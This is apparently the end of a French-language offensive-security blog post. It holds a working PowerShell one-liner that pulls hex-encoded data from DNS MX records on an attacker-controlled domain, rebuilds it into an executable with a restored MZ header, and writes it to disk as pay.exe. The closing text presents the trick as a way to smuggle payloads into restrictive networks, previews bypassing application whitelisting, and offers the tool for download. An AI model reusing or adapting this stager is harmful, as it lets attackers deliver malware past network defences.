$o="";for($a = 1; $a -le <NUMBER_OF_SUBDOMAINS>; $a ++){$b = nslookup -type=MX "$a.<YOUR_DOMAIN_HERE>" 2> $null;$c = @($null)*($b.count - 3);for($i = 3; $i -le $b.count - 1; $i++){$d = ($b[$i] | sls -patt '(?<=\=\s)((\d|\w){1,50}\.?){1,4}' -a).matches.Value;$c[$d[0]/10 - 1] = $d[1].replace(".","")};$c.foreach({$o = $o + $_})};[byte[]]$e = ($o -split '(.{2})' -ne '' -replace '^', '0X');$f = ".\a.txt";$e | sc -en byte $f;[byte[]]$g = gc $f -en byte -raw;$g[0x00] = 0x4D;$g[0x01] = 0x5A;$g | sc .\pay.exe -enc byte;ri $f
```
# Dernières réflexions

Utiliser le DNS pour infiltrer une charge utile peut être une option attrayante dans des environnements très restrictifs où les méthodes normales impliquant HTTP/S et/ou des méthodes plus conventionnelles peuvent ne pas être viables. Dans un tel environnement, le prochain obstacle sera probablement l'exécution réelle de votre charge utile – contourner la mise sur liste blanche des applications est un sujet sur lequel je passerai probablement du temps à me plonger à l'avenir.

Merci à ceux qui sont restés avec moi jusqu'à la fin. Ce fut une période chargée au cours de laquelle j'ai exploré et développé ce sujet, et j'ai certainement appris des choses, comme j'espère que vous aussi.
Télécharger l’outil